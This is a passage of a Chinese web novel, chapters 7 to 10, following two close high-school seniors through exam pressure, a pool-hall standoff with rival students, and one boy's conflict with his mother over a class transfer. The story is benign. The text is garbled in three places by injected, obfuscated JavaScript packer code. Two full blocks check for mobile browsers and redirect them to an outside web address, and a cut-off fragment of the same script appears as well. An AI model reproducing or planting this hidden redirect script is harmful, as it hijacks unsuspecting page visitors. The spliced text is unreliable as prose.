“这些题目好难啊。”孙雯宁头发薅得像草堆,“前面的题我还能算出来,后面直接看不懂。” 严妄一下有了同感,点点头,“是吧是吧,我就说很难。” 他们两个成绩不差,绝对不属于学渣那一类,否则也不可能进得了附中。 但在学校施行超前学完后面知识点的教学下,面对突如其来的高三题目,还是有点抓瞎。 尤其不少题目还是历年真题,哪怕知识点学过,却跟实际运用是两码事。 骆危楼已经写完一张卷子,看了眼他们的进度,“你们先写,写完了我再一起讲。” 说完,看了眼严妄。 严妄别开脸,动了动嘴唇,不用看也知道不是什么好话。 孙雯宁在一边看见,忍不住笑起来,“妄崽,你就认了吧,你眼睛眨一下,骆危楼都知道你想做什么,还想撺掇我一起不写作业出去玩,省省吧,不可能的。” 严妄一怒之下拿起笔,在卷子上写下一个大大的“解”字。 等写完这张卷子时,已经过了六点。 期间骆危楼还去厨房关了火,又煮了饭。 回到客厅,看见孙雯宁正收拾东西,严妄倒在沙发上,睡相十分随意。 “不一起吃饭?” “回家吃。”孙雯宁摇头,“昨天回去挨了一顿骂,要不是说出来找你们写作业,这会儿还关家里呢。” 骆危楼皱了下眉,但不多问也不说其他的。 “妄崽可真能吃能睡,一盆车厘子他一人干掉大半,刚还跟我说话,一转头就睡着了。”孙雯宁打了个哈欠,撩起头发,“走了啊,不然等会儿还以为我跟你早恋。” 骆危楼无语看她,送她到门口,看着人走出单元楼,才关门回到客厅。 严妄还在睡,半张脸陷在靠枕里,一只手往上举,另一只手随意搭在胸前。 骆危楼看看时间,在厨房里弄了一个凉拌黄瓜,又炒了一盘上海青。 把菜端上餐桌,才去沙发边叫醒严妄。 “严妄,醒醒,吃饭了。” 严妄半梦半醒,动了动,但眼睛还闭着。 骆危楼看他不打算醒,刚要去捏他鼻子,就发现他短袖下摆卷起来,露出一截腰,肚脐也露在外面。 又是空调又是风扇,不知道这么晾了多久。 伸手替他把衣服拉好,手指在柔软、温热的皮肤上擦过,沾染上的温度很快消散。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025646|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >骆危楼垂了垂眼,指腹摩挲,去拍他的脸,“严妄,起床。” 严妄睁开眼,盯着天花板好一会儿,眼睛才动了动,视线往旁边挪,看见骆危楼的脸。 家里有些昏暗,不知道什么原因没开灯。 他缓了一会儿才反应过来在那儿,晕乎乎地坐起来,脑袋往骆危楼肩上靠。 “我觉得好累啊。” 骆危楼身体有一瞬的僵硬,但又很快恢复,维持着一个不算舒服的姿势,给他当靠枕。 “你几岁?睡觉也会累。” 严妄举起手,掰着手指,“未满十八。” 骆危楼被他逗笑,微垂着的眼睛里,一片柔软,“是,所以可以起来吗?你脑袋很重。” 严妄哼了声,坐起来,捋了捋衣服,“我看你是太久不锻炼,不行了。” 说完,看着骆危楼起身去厨房的背影,“噢,男人不能说不行,你超行的!” 骆危楼懒得理他,进厨房添了两碗饭回来,一人坐一边,把晚饭解决了。 - 后面几天,严妄在睁眼写卷子、闭眼做梦写卷子的浑噩里度过,真正返校那天早上,差点起不来床。 严妄飞快收拾好,从餐桌上拿了鸡蛋、牛奶和面包,胡乱塞进校服口袋,就往门外跑。 “外公外婆,我上学去了!” “哎哟,慢点!” “骑车别摔了!” 严妄声音消失在楼道里,“慢不了,再慢要迟到。” 飞速跑到楼下,差点冲过头,就被人拽着书包拉回了车棚。 骆危楼跨在自行车上,长腿支着,“往哪去?” 严妄笑两声,解了自己的自行车锁,“太久不上学,正在适应中。” “哎哎,赶紧的,一会儿迟到。” 骆危楼看他口袋里要掉出来的鸡蛋,经过时伸手帮他一把,顺了过来,“鸡蛋,谢了。” “骆危楼,你过不过分啊!” “吃你一个鸡蛋就过分了?” 半大的男高中生,精力旺盛,所到之处人人嫌弃,尤其是小区里早起锻炼的人。 一看是严妄和骆危楼,还有其他家的学生,纷纷让开,嘴里念叨着没小时候乖。 十分钟左右到校门口。 高三开学时间比其他年级要早两周,一是为了能尽快适应高三的教学,二是多一些时间在正式开学前衔接上学期的知识。 从高二教学楼搬到离食堂最近的高三教学楼,大家心情略微复杂。 怎么转眼就高三了? 总觉得还是刚进校那会儿,还是崭新的高一生。 好在不是正式开学,不用参加一小时起步的开学典礼。 “我怎么觉得,教室搬了又仿佛没搬。” “全校教室一个样,你想怎么搬?” “哎,我还以为桌面会有学长、学姐留下的励志语录。” “你以为学生会和团委的检查是吃干饭的?扣分!知不知道扣分对一个班来说有多严重。” “其实还是有的,看黑板旁边。” 不知道是原来的班级粗心忘记取下来,还是就打算留给他们当纪念,黑板旁还挂着高考倒计时。 写着“距离高考仅剩四天”。 严妄和骆危楼进教室时,就听到大家在算距离高考还剩多久,再一扫,赶作业的、借作业的、问座位的都有。 有几个刚分过来的别班同学,叫不上名字,但都眼熟。 周戈和赵不凡坐一起,跟他们招了招手。 “这里,给你俩选了个超绝的好位置,就在我们旁边,怎么样?” 严妄拎着书包走过去,拉开椅子坐下,“不怎么样,我要困死了。” 周戈等骆危楼坐下,才说:“你困?刚才我看你骑车,跟一阵风似的,叫你都没听到。” “怪他。”严妄趴在桌上,伸手往旁边一指,目标正中骆危楼。 “你俩昨晚当贼去了?”周戈问。 骆危楼从书包里掏出一个鸡蛋,剥了壳塞到严妄嘴里,“吃了。” 严妄咬着鸡蛋坐起来,一边吃一边伸手。 手里立即多了盒牛奶,插好了吸管,“包里有外婆塞的面包,你自己拿。” 周戈一看,心想多嘴这一问,转头去跟赵不凡说话。 踩着八点十分的第一节课铃声,班主任方文韵走进教室,穿了一身黑色正装。 手里抱着一摞纸。 吵吵闹闹一早上的教室,倏然安静下来。 方文韵把手里东西放讲台上,在黑板上写了几个大字:高三六班,班会。 “各位同学,今天开班会的主题就一个,希望你们清楚地知道作为一名高三学生,接下来一年你们需要做什么。” 方文韵停顿一下,视线扫了一圈教室,“吃东西的、打瞌睡的、喝牛奶的,给你们一分钟时间解决。” 安静的教室,刷得一下,又接连响起窸窸窣窣的声响,还有几声被噎着的咳嗽。 方文韵皱眉,“严妄,你拿书挡着就以为我看不见?” 严妄噎得脸都红了,喝了好几口才缓过来。 拿开书,缓缓举起手,“报告,我是怕影响班级形象。” 方文韵:“……” “你上来,把上学期年级排名表发下去,都自己好好看看。” 严妄“哦”了声,从座位起来,拿了成绩排名表,数出十四份放第一排,往后传就行。 一共四个大组,八小组。 要不了几分钟,就全部发完,大家都拿到手。 严妄回到座位,拿起来看了眼,胳膊碰碰骆危楼,“又年级第一了。” 骆危楼直接略过第一行,目光往下扫,不出意外在中间位置看到严妄。 手指轻轻叩了叩桌面,“哦。你掉了两名。” 严妄:……果然还是那么讨人厌! 8. 第 8 章 高三教学楼的走廊,回荡着每一间教室里班主任的声音。 从高一高二走到高三,不仅是身份的转变,更是一场十年磨一剑,持续一年的硬仗。 方文韵拿尺子在讲台敲了敲,“上个学期末的成绩相信大家都已经看到了,清楚地知道到自己在整个年级里的位置,或许还有一些同学能大致估算出在市里、省里的排名,但我要说的是——” “从这一刻开始,忘掉你们过去的成绩,忘掉所谓的排名,踏实学好每一个知识点、认真听每一堂课。” 方文韵的声音掷地有声,少有的严肃,甚至微微皱起眉。 “排名靠前的同学不要沾沾自喜、懈怠学习,排名靠后的同学不要意志消沉、一蹶不振,高二学期末成绩只能代表在过去两年的学习状态和成果,未来的一年掌握在你们手里。” “高考前的成绩排名都是一时的,作为你们的班主任、老师、同伴、朋友,我希望在座的每一位同学,直到考完的那一刻,都不要轻言放弃。” 原本窸窸窣窣的教室,在方文韵一句一句话里逐渐安静,看看手里的排名单,又看看黑板旁的高考倒计时。 感受到压力的同时,生出一股拼劲。 严妄盯着手里的年级排名,按照去年的算了下,大概在一万名左右。 反正,报重本肯定没戏。 余光瞥向骆危楼,无意识撇嘴。 不用想,肯定前十,搞不好还第一,全年级乃至全校重点关注对象,省理工状元苗子。 骆危楼看眼正在调投影的班主任,偏过头,“看我知识点也不会通过视线传输到大脑。” 严妄:“……” 好欠揍一人,想打。 刚要伸手去掐骆危楼脸皮,看看有多厚,就敏锐察觉到来自讲台的注视。 方文韵扶了扶眼镜,放下捏着粉笔头的手,“在座的同学,最小的年纪也十七了,我希望能改一改身上的小毛病,尤其是某些同学,上课注意力不集中。” 严妄低头,严妄不语,严妄只是开始扣扣手。 四十五分钟班会,后面的时间就是一些日常安排。 一个是换位置,二是去图书馆门口领书。 方文韵走前交代班长,让他带着人去签到领书,班级课表记得贴到公示墙。 各班班主任要去开年级大会,开完还得开各科教学组会议。 开完会就得下午,所以今天的第一节课从下午开始上。 领书、发书有各科课代表领人去,十几个班排着队签到,领完再回教室发。 - 高三的课程有调整,下午多出一节课,全天一共八节课。 放学,几个人坐在学校外的快餐店。 “才开学第一天,我就想放假了。”周戈拿手机点开游戏。 “高三的课表怎么跟牲口似的,最后一节课上完快六点,晚上还得上自习到十一点。说是自习,结果和上课没差。” 孙雯宁正照镜子,“知足点,住校生才上到十一点,我们九点就能撤。” “豆妹,你喝什么,我请你。” 罗恬指了一下菜单,“我听说这个好喝,新上的口味。” “行。”孙雯宁放下镜子,拿手机加了一单,“哎,骆危楼、妄崽,你俩喝什么?” 严妄无精打采地趴在桌上,打了个哈欠,“随便。” 骆危楼看眼菜单,“金桔柠檬水。” 顿了下,“两杯。” “行,往往最简单的就是最好喝的。”孙雯宁点完单,“还好明天周末,去不去打台球?” 周戈一听,立即问:“严妄去吗?” “不去。”严妄换了个方向趴着,恹恹地看他一眼,“拜托你动动脑子,下周要摸底考,还去打台球,你是想挨文韵骂吗?” “靠。”周戈抓了抓头发,“差一点忘了,还有这回事,考几天来着。” 骆危楼转着笔,又翻了一页刚拿到的课本,“三天。” 语数外加理综,一共六科。 “我要是再出不了倒数后十名,我真的要去搬砖了。”周戈看向骆危楼,“能不能——” 严妄头一转,死死盯着周戈,打消他念头,“不能。” “我都还没说……” “不说也知道你想说什么。” 周戈心想给小抄不行,可以换个方法,“那去学神家里补课,应该可以吧。临时抱佛脚,不亮也光。” 孙雯宁正和罗恬说话,闻言抬起头。 “周末就两天,再大的佛给你抱都白瞎。”严妄抠了抠桌面贴纸,“我那儿有笔记,借给你看,看不明白的电话问我。” 周戈只想尽早摆脱倒数十名,谁的笔记不是看,立即拍拍严妄的肩,一脸感动地说:“做兄弟,在心中。” 严妄骂他一句神经,坐起来活动一下肩背,总算从下午两节物理课里缓过劲来,“离晚自习还早,等会儿去打两局。” 其他人一听严妄的话,十分赞同去放松一下。 只有骆危楼抬眼,瞥向严妄。 严妄扭头,拿起刚送过来的金桔柠檬嘬了口。 看不见。 师大附中在老城区,比起其他几所高中要小一些,但周围热闹。 什么店都有,学生出入学校更自由。 过了天桥,拐进另一条街,就有不少网吧和台球厅、书屋,放学后大家都爱在这些地方聚集。 严妄几人到台球厅时,只剩下一张桌,没得挑。 老板意思意思看了一个人的证件,就把他们都放进去。 “你别看书了,这里灯暗,你眼睛受不了。”严妄一进门,手肘碰了碰骆危楼,“不想玩你就眯会儿。” 骆危楼“嗯”了声,看眼墙上贴的禁烟标识,又瞥向吞云吐雾的其他桌。 压着声音,“下次换一家。” 严妄正想说这家便宜,还近,话到嘴边,闻到飘来的烟味,立即咽了回去,“麻烦。” “等会儿……”问问周戈。 后面几个字没说完,经过另一桌时,不大的说话声传过来。 “啧。” “还以为好学生不会来这些地方,看来也只是在老师面前会装一点嘛。” “装什么装,早就看他不爽了。” “万一是作弊来的呢——” “砰!” 堆地上的啤酒箱被踹了一脚,发出一声不小的动静。 严妄不好意思地朝旁边打游戏的老板笑笑,又轻轻踢了一下,声音轻了很多。 其他人往这边看了眼,见是两帮学生,又继续玩自己的。 这年头,惹谁都别惹学生,尤其是初高中生,火气大,还未成年。 真出点什么事,倒霉的是自己。 “他妈的你——” “原来这里有人啊,我还以为是畜生。”严妄身上是短袖套校裤,外套扔教室里。 皮笑肉不笑地看对方,歪头问:“周戈,你刚才看到人了吗?” “哪有人?不就是一只畜生在叫?”周戈挽起袖子,抬脚踩在空瓶上,胳膊一搭,“这畜生就是不懂事,爱瞎叫唤,还爱乱咬人。” 另一帮学生四个人,不是附中的,但离得不算远,公交车两个站。 应该来得有一会儿,台面只有几个球,黑八位置不好。 两所学校一向不对付。 多年高考状元之争留下的恩怨,但这几年三中逐渐落寞,和附中一起争状元的变成一中。 “严妄,你替骆危楼出什么头?” “我什么时候替他出头了,看你不爽不行啊,好狗不挡道。”严妄随手拿起旁边球杆,“打个球都打不明白,还指望抄答案能抄明白?” 外校男生指着严妄,“你什么意思?” “没什意思,觉得你们挺菜的。”严妄靠着球桌,拿巧克力粉擦球杆,“嗳,上学期联赛输给我们不丢人,别因为这儿就记恨上了。怎么还狗嘴里吐不出象牙,说别人装逼、作弊,这么小肚鸡肠,你们篮球队的拉拉队队长能让你追到?” 男生一脸你能不能讲重点的表情,被严妄绕得脑袋都晕了。 说了半天,不还是在替骆危楼出头吗? “你到底要说什么?” 严妄皱眉,心想这人是不是傻逼,这都听不懂。 算了,孺子不可教、朽木不可雕。 严妄弯腰、俯身,肩臂展开,手架在台球桌面,尽可能压低前肩和腰,盯住黑八。 右臂往后一拉,在下一瞬往白球上一击,白球在台面滑出一道轨迹,而后撞到库边,弹回时给了黑八一个左旋,带着黑八直接进袋。 “我的意思是,自己实力不足,就以为别人是靠作弊取胜,本质上是一种无能狂怒。” 严妄把球杆放回去,看眼一言不发的骆危楼,“走了,回学校。” 周戈不解,但周戈觉得严妄刚才太帅了,所以现在他说什么都是对的。 二话不说,跟老板打了招呼往外走。 孙雯宁一脸无语,拉了拉罗恬,刚坐下又起来,“豆妹,我跟你说,以后谈恋爱一定要擦亮眼。” 罗恬不明白,但她听孙雯宁的,所以点头。 只有骆危楼,把书和笔往外套口袋一塞,扫一眼外校那几个男生,落在最后跟上。 几个人站在台球厅外的马路边,看眼时间,六点半不到,回教室总觉得亏。 周戈才反应过来,为什么要出来啊,装完一波,该走的难道不是那几个傻叉么。 “我们走什么啊,丢脸的不是他们吗?” 严妄一哽,心虚地踢了一脚路边叶子,“烟味太呛,我闻不了。” 周戈嘴快,“这里谁不抽啊,平时也不见——” 说一半反应过来,“噢,你和学霸不抽来着。” “真倒霉,那几个傻逼就因为上学期篮球联赛输咱们,一直不服气,下回打服他们。” 严妄正要说话,骆危楼拍了拍校服外套。 骆危楼:“下届比赛,他们能不能进决赛都不好说,有什么好在意。” 周戈听了,从路坎弹跳起来追上他们,“有道理!” 骆危楼看绿灯快结束,拉住严妄胳膊,“下次别乱出头,这次还好是认识的。” 严妄拍开他的手,凉飕飕地说:“谁说我是替你出头?看不惯他们而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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严妄皱眉,这得多偏题,才能从第一名,掉到二十名开外。 作文六十分,难道只拿了十几分? “你认真看题了吗?”严妄一脸严肃,“下次月考,你看清题再写啊,反正前面你又用不了多少时间。” 骆危楼看着他,点点头,“嗯,下次考试我注意。” 严妄看他态度端正,“记得,好好审题,不要心不在焉,不行你把我那本满分作文拿去看一看。” 骆危楼笑了笑,“好。” 周戈和赵不凡看学神也有偏题的时候,心里稍微好受了一点。 那他们退步两名算什么,一个班级总是要有人当倒数的。 周五下午只有两节课,上完放学回家。 严妄和骆危楼骑车进了小区,在车棚锁好车就往单元楼里走。 “今天阿姨在家吗?在的话,吃完饭我再来给你补语文。”严妄说着话,瞥向不远处的一楼客厅,窗户开着,应该是在的。 骆危楼低着头,听完后才抬头,“我上去找你,不劳你下来。” 严妄无语,“嫌弃我给你补课?” 骆危楼抬手在他后脑勺撸了一下,“怕你累着。逗你的,我妈买的东西到了,顺道给外公外婆送去。” 严妄勉强被说服,等他手放下去,才去扒拉头发,“那你记得来昂。” 骆危楼“嗯”了声,看着严妄进了单元楼,才收了笑意,转身进了单元。 钥匙在锁孔里转动,发出“嚓”的一声,骆危楼推开防盗门。 一眼看到坐在沙发上的陆舍青,并不意外她此刻的表情看上去很生气。 陆舍青看着骆危楼,手机放在面前的茶几上,“为什么?” 骆危楼在玄关换鞋,不理解地问:“什么?” 陆舍青拿起手机,打开后翻出一条微信聊天记录,是方文韵发过来的年级排名,还有几句安慰的话。 手机被重新扔回茶几,“上周末我是不是跟你说过,我已经和年级主任沟通过,只要你能稳住年级前十,就可以申请换班到实验班。” “嗯。”骆危楼把鞋放进鞋柜,拿起书包走到客厅。 陆舍青看着他那张脸,“那你考的什么?二十三名,年级二十三名!” 骆危楼脸上依旧没什么表情,“是作文偏题。” “是真的偏题还是假的偏题,你心里知道。”陆舍青深吸一口气,“你不想换班,想跟原来的同学在一起我都理解,那你可以和我商量,而不是用这种幼稚的办法来反抗,骆危楼。” 骆危楼。 骆危楼。 仿佛在叫一个陌生人,一个公司客户、合作伙伴。 骆危楼往房间走,“并不是反抗,的确是偏题了。” 走到房门口时,他停下,转头看向站起来的陆舍青,“卷子在学校没带回来,怕你看了生气。” 陆舍青正要说什么,骆危楼比她先开口。 “作文的题目是家,以家为主题,写一篇不限题材的八百字作文。” 骆危楼拧开房间门,“我写偏了。” 说完,骆危楼进了房间,轻轻关上门。 9. 第 9 章 “砰——!” 隔着房门,客厅传来一声防盗门被重重摔上的声音。 骆危楼刚坐下,甚至连书包都还没挂到椅背。他动作一愣,继续挂书包、拿出卷子。 从笔筒随意抽出一支笔,在摊开的卷子上才勾了两个题干重点,就往后靠去,转着笔闭上眼睛。 有点烦。 没办法控制的烦躁从心底升起,大脑仿佛被一团乱麻来回抽拉,连四肢也急需动起来,排解这股烦躁。 抬手揉了下眉心,骆危楼弯腰拉开最下面的抽屉,翻开几本书,刚摸到方形的纸盒,就听手机震了震,跟着拍门声响起。 骆危楼动作一顿,关上抽屉,起身往外走。 打开门,一只碗差点怼到他脸上。 “嘿,外婆买的枣,喊我给你拿点,快快,尝一尝。”严妄从碗后面探出头,“包甜的。” 骆危楼挑了挑眉,伸手接碗的同时,侧过身,“只是送枣?” 严妄咳了声,挠了一下脸颊,“顺便来安慰安慰你考砸后的脆弱心灵。” 说着瞪向骆危楼,“你好烦啊,看破不说破。” 骆危楼笑了下,“那我谢谢你。” “嘁。”严妄进来,顺手带上门,边换鞋边问:“你刚才磨磨蹭蹭干什么?给你打电话你也不接。” “写卷子。”骆危楼端着碗,“一起?” 严妄抖抖肩,“婉拒了哈。” 骆危楼点点头,纠正,“这不叫婉拒。” 严妄跟在他后面,径直去了房间。没问他怎么一个人在家,也没问陆舍青去哪了。 关上房间门,严妄莫名松了口气。 他看眼桌上放着的卷子,心想不愧是骆危楼,天塌下来都得把卷子写了。 “你要看什么自己拿,我把这张卷子写完。”骆危楼放了碗,坐回桌前,“写完再打游戏。” 严妄倒在他床上,趴着侧过头问:“你是小机器人吗?设定好程序,就一定得完成了再继续下一件事。” “我们人类都是可以自行调节的。” 骆危楼拿着笔,看着刚才勾出来的信息,连字迹都能看出烦躁。 重新在下面画了条线,“那你们人类,要不要学习?” 严妄无语,拿出手机翻群消息,“劳逸结合,你不明白。” 骆危楼低笑一声,听着耳边不时点开的群语音,纱窗外的细微声响,很快写完了半张卷子。 严妄戳着手机屏幕,视线从手机抬起,看向旁边的骆危楼,又看了眼被冷落的枣。 什么啊,真写卷子去了。 从床上爬起来,拿了两个枣,他瞥向那张卷子,立即头疼起来,干脆从后面勾住骆危楼脖子,强行把枣塞到他嘴边。 半个小时写半张,开始看大题了,“别辜负外婆的心意。” 骆危楼毫无反抗之心,顺着往后,后脑靠在严妄身上,张嘴咬住枣。 嘴里有东西,说不了话 。 从骆危楼的视角看去,是严妄还未完全变得锋利的下颌,有一些圆润,但并不会显胖。 是清俊又显乖的长相。 严妄直接伸手去拿他卷子,只穿了一件短袖,胳膊擦过骆危楼的脖子和脸,原本淡淡的沐浴露味道,突然变得清晰。 骆危楼微微偏开头,避开紧贴在一起的胳膊,“洗过澡了?” “那当然了,这天气不洗澡还能活吗?”严妄看着卷子,“这题原来选这个啊。” 骆危楼咽下最后一点枣,伸手把卷子拿开,“自己的作业,自己做。” 严妄瞪眼,趁着骆危楼还没逃脱自己的桎梏,胳膊往后一收,“谁抄你的了,我写完了,只是发现答案不一样。” 骆危楼敷衍地“嗯”了声,打算收拾下,明天再写。 “松手,贴着不嫌热?” “就不松,你闻闻香不香?外婆刚换的沐浴露,终于不是牛奶味的了,是橘子的,又甜又舒服。”严妄一身反骨,从小就爱跟骆危楼对着干。 粘人时候是真粘人,烦的时候也是狗都嫌。 骆危楼避开严妄抬起来的胳膊,偏过头时,嘴唇擦过一片温热的皮肤。 手腕,还是胳膊内侧。 不知道,他没去看。 “严妄。” “在呢在呢。” 严妄见他不去管卷子了,伸手去挠他腰,“写什么作业,一起玩吧,我带你打排位,今晚直升铂金。” 骆危楼被挠了一下腰,痒意瞬间爬上背脊,立即从椅子站起来,反手抓住严妄的手腕,脚下一带,直接把人压到床上。 膝盖顺势跪在床边,单脚踩地,盯住严妄,“玩什么?” 严妄一点不怕他,还在笑,试着抬腿想挣开,“玩什么都行,不写作业就好。” “别动。”骆危楼呼吸顿了下,“闹不闹腾?” 严妄挣不开,干脆摆烂,“那你做作业不理我,你知道半个小时是多少秒吗?我寒心啊。” 伸手去挠他手背,“我跟外婆说了,今晚不回去睡。” 骆危楼抓着他手腕的动作一松,别开眼,起身退回椅子,坐下后拿起一本书,“那你接着寒心。” “骆危楼!” “在。” “我真不想理你了。”严妄翻身坐起来,拿过枕头狠狠往他身上砸去,“吃饭了吗?!” 凶巴巴地看着骆危楼,“还好意思教训我,你知不知道不按时吃三餐会——” “会生病。” 骆危楼侧过身,把书放回去,脸上表情松动,有了不算明显的笑意。 他站起来,朝严妄伸手,“为了跟你道歉,有荣幸能请你去吃个晚饭吗?” 严妄扭头,坐着不理他,连胳膊都抱起来。 骆危楼:“真不去?” 严妄转了转眼珠子,算是回应。 骆危楼收回手,又走近一步,“那就只能强行把你绑去了。” 严妄来不及反抗,被骆危楼直接扛了起来,“骆危楼!我会摔下去的!” 骆危楼拍了一下他腿,“再动才要摔下去。” 严妄觉得丢人,但严妄不说,只好跟条咸鱼一样,随骆危楼去了。 - 老城住宅区周围,最不缺夜市和门店。 严妄坐在一家烧烤店,咬着肉串看对面吃炒饭的骆危楼,适时把水推过去。 骆危楼放下碗,拧开瓶盖,“问吧。” 严妄不好意思笑起来,擦擦嘴,“阿姨为什么突然生气啊?是不是你考砸了,所以她不高兴,觉得你懈怠学习。” “不是。”骆危楼直接否认,“是觉得我在跟她赌气。” 严妄“啊”了声,一脸不解,“赌气?” 骆危楼看向旁边的车道,靠在陈旧的塑料椅背上,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025648|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她跟学校商量,摸底考进前十,就可以申请转到实验班。” 实验班,其实就是重点班。 只不过学校换了一种名字来应对政策而已,重点班、普通班摇身一变,成了实验班、平行班。 “这样啊。”严妄拿着一串土豆,咬了口,“那月考进了不行吗?” 骆危楼眉头皱起,“你想我去?” 严妄立即低下头,装作很忙的样子,“那你的成绩本来也可以进实验班。” “……” “但我觉得你在六班也很好啊,不一样的好,换班了还容易影响你状态。” 骆危楼那点刚冒出来的生气,才露出个尖,就被严妄掐断。 严妄放下半串土豆,觉得自己好像饱了,吃着不如刚才香,“那你要和阿姨解释,阿姨肯定是误会你了,作文本来也容易偏题。” 不用骆危楼说,严妄都知道陆舍青是怎么想的。 无非是觉得骆危楼的作文是故意写跑题,丢分了才考出前十,一下掉了十几名。 “不过阿姨为什么不跟你先商量?”严妄看向骆危楼,“要是阿姨提前和你商量,那你说不定就可以进前十,不想去的话,那就不申请,而不是现在不能申请,好像你进不去一样。” “实验班在二楼,离得还挺近的。” “要是你去了实验班,我们还可以一起放学吗?午饭还能一起去食堂吧。” “实验班的数学老师好像很厉害,但我觉得文韵的教学方法也挺好的。” “骆危楼,你——” 严妄一个人嘟嘟囔囔地说了一通,手里纸巾揪成碎屑,一抬头,发现对面的当事人正笑着看他。 严妄:“。” 不想说话了。 骆危楼只是笑着,“要不要再加点肉串?” 严妄扭脸,“我是来陪你吃饭的,又不是我吃。” 正好给旁边桌上菜的老板,听到这一句,扭头看了眼他面前那堆竹签。 有三十几串,大部分都是烤肉、板筋和牛肉。 “那回家,走回去正好消食。” “吃饭是为了立即消化的吗?那还吃什么。” 骆危楼庆幸老板走开了,不然这话听上去像是找茬。 去店门口扫码付了钱,骆危楼回来,拎起还坐那儿的严妄。 严妄拍掉骆危楼的手,扯了扯衣服,“拉拉扯扯的,像什么样子。要我是女生,明天你的八卦就能传遍附中。” 骆危楼捻了捻指腹,“一会儿还回楼上吗?” 严妄瞪他,“你这是在赶我走?” 骆危楼没吭声,只是走到了人行道外侧,“怕你是哄我开心才编的。” 严妄的头发都要竖起来,跟被踩到尾巴一样,“谁哄你啊,你不要自作多情,我这是身为好邻居应该做的。” 骆危楼“哦”了声,抬脚往前走。 走出去两步,又停下来回头,等着严妄跟上来。 夏夜里的梧桐大道,暑气被层层树叶削弱,他俩走在人行道上,不觉得热。 “你真的要去实验班吗?” “不去。” “那等会儿带你上段。” “去了就不带?” “我才不像你一样小气。” 骆危楼笑了声,严妄立即勾住他脖子,伸手捂住他嘴。 烦死人,有什么好笑的。 10. 第 10 章 提前开学的两周过得飞快,毫无缓冲期,无缝衔接九月初的新学年开学典礼。 新学年的开学典礼较为隆重,不仅要听校领导层层发言,还有新生入学代表和高三优秀学生代表发言,只有高二年级不上不下,存在感大打折扣。 “新学期、新希望、新起点,我有几句话想要对在场的每一位附中学子说,……” 伴随着校长那一口带着江舟市口音的发言开场,红旗下的学生们,发出无声的哀嚎。 又来了又来了,重新定义“几”。 说好的几分钟,实际上是半小时,他们附中有自己的时间。 “骆危楼。” “老师,这里。” 方文韵从班级队伍最前面走过来,看一眼严妄,“你是他的发言人啊。” 严妄笑了下,抬手往后指了指,“我怕他听不到。” 方文韵被他逗笑,不过笑容转瞬即逝,“别动了,上面看得一清二楚,你说你,长得挺帅一小男生,站得歪歪扭扭,像话吗?” “太难站了啊,一个接一个发言,校长还在总结。”严妄感觉自己的腿都要站麻了。 “白长这么高的个子,平时不挺能蹦跶。在办公室都能看到你跟人顶着一点太阳打球,现在才这点时间就站不动啊。” 方文韵扶了下眼镜,看向骆危楼,说正事。 “刚才发言不错,稿子写得很用心。等会儿结束,你记得去一趟赵主任的办公室。” 赵主任? 那不就是年级主任。 严妄瞬间站直,耳朵也竖起来,整个人都精神了。 什么什么?让他也听听,骆危楼难道悄悄背着他打架、早恋,要去挨批评? 啊,好烦,喇叭里的噪音太吵。 “我知道了。”骆危楼点头,瞥向面前的后脑勺。 方文韵虽然也舍不得一个好苗子,但实验班整体教学、学习氛围和平行班不一样,她要为学生的未来负责。 躲了一下脚,踩掉草屑,“你妈妈也在,这事你再好好想想,考虑清楚再开口。” 刚才还八风不动的后脑勺,立即歪了歪,按捺不住想转身加入话题。 骆危楼眼里滑过笑意,“嗯,我会好好考虑的。” 方文韵听完点头,看眼后排那两三个嘻嘻哈哈的男生,视线穿过镜片,直达问题中心,效果立竿见影,顿时安静下来。 她满意地理了理衣摆,又往前排走。 一转身,和刚好转过来的严妄四目相对。 严妄一愣,眼睛瞪圆,飞快对着方文韵露出一个笑,“老师,我有一点事想报告。” 方文韵同样露出一个笑,走到他旁边,抬手略有点艰难地卡着严妄脖子,硬生生给他转回去,“你最好祈祷校长没看到,不然下周升旗仪式,你被点名,就给我参加下周的卫生值日。” 严妄看着方文韵往前走的背影,绝望地看向台上唾沫飞扬的校长,眼神含泪而热切。 田径场正对着的台上,校长忽然在一众恹恹的目光里,感受到一股热切,顺着看去,语气变得激昂,“……在接下来的高中生涯里,我们希望每一位同学,首先要学习的是为人根本,诚信、善良、有礼。” “祝大家在附中扬帆起航,向着理想奋斗。” - 为期两个小时的开学典礼终于结束,操场上乌泱泱几十个班级的人都往外走。 叽叽喳喳的,趁着回教室前,多说几句话。 上午还剩两节课,六班好巧不巧是数学。 等两节课上完,班上无人生还。 午休时间一到,大家一窝蜂全冲出教室,直奔食堂或者校外的餐馆。 平时积极干饭的严妄,难得没动,在座位上有点心不在焉,连周戈喊了他好几声都没听到。 “严妄!” “怎么了?下午有考试?”严妄抬起头,周戈和孙雯宁站在他面前。 “还是你惹谁了,要去打架?” “刚开学,打什么架,我还不想被全校通报。”周戈敲敲桌面,“去吃饭啊,我快饿死了。” 严妄没回答。 孙雯宁靠在对面的桌上,拿着手机悄悄玩,“学神还没回来,妄崽哪有心情去吃饭。” 周戈:“啊对,学神两节课都不在,等会儿我笔记借他吧。” 